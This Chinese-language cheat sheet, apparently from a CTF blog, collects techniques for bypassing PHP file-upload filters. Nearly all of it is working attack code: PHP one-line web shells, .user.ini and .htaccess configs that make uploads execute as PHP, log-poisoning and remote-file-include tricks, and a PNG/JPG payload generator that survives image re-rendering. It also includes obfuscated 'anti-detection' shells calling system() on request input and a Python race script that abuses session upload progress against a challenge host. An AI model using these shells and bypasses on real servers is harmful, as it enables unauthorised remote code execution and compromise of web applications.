文件上传总结

基本思路

  1. 绕过各种前端过滤
  2. 上传.user.ini/.htaccess
  3. 上传包含一句话文件/日志包含/远程文件包含
  4. 绕过关键字过滤
  5. 绕过特殊类型如二次渲染/httpd
  6. session竞争

前端过滤

直接改前端代码即可

简单后端过滤

content-type 改为 image/png(jpg/gif)

filename 改后缀

改文件头为gif头

GIF89a

改文件头为png头,直接在hex改

89504e470d0a

00截断

test.php1png

hex中将31改为00

php3 php4测试

1
2
3
<?php
@eval($_POST['cmd']);
?>

.user.ini上传

upload/下存在index.php

先上传.user.ini,再上传1.txt或其他支持上传类型

1
2
3
4
5
# .user.ini
auto_append_file=1.txt

# 1.txt
<?php @eval($_POST['cmd']);?>

php短标签

1
2
3
4
5
<script language="php">@eval($_POST['cmd']);</script>

<?=@eval($_POST['cmd']);?>

<% @eval($_POST['cmd']); %>

关键字过滤

[]替换为{}

[] {}全过滤

<?=@eval(array_pop($_POST));?>

; 可直接去掉;

空格过滤将空格改hex为0d

. 过滤用远程文件包含

日志包含

过滤()
.user.ini 自动包含文件如下

1
2
3
4
5
6
7
8
9
10
# 1.txt
<?php
# 过滤 log 用 . 分开即可
$a='/var/l'.'og/nginx/access.l'.'og'
include $a;
?>

若有过滤,可这样写
<?=include1'/var/l'.'og/nginx/access.l'.'og'?>
之后改hex将1改为od

域名下随机写入1.txt,改User-Agent为

<?php @eval($_POST['cmd']);?>

访问upload/测试

getimagesize绕过

改头为gif头

GIF89a

include url 远程文件包含

用我自己的url,返回一个一句话木马

http://795102185

<?=include'http://795102185'>

基本可以通杀

二次渲染

gif格式

比较简单,直接对比没有改变的地方,在里面直接插入即可

png格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');

# ?0=call_user_func post 1=ls
# ?0=system 1=whoami

利用抓包看信息,可能不回显
?>

jpg格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
# 1=phpinfo();
<?php
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

免杀马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
a=system&b=ls

session竞争上传

先上传.user.ini包含如下语句

<?=include"/tmp/sess_haorical"?>

跑脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import threading
session=requests.session()
sess='haorical'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
'file':'heiheihei'
}
cookies={
'PHPSESSID': sess
}

def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

.htaccess绕过

上传.htaccess

内容如下:

1
2
3
4
5
6
7
8
AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

php_value auto_prepend_file "shell.png"
#效果和.user.ini一样,然后通过访问加载php页面可以触发.htaccess的指令

appach解析漏洞

apache遇到无法识别解析的文件后缀时,会向前解析,如xxx.php.123.456,在mime.types文件中如果不存在.123/.456这两种后缀,那么apache会将该文件解析为php。

比如1.php.jgp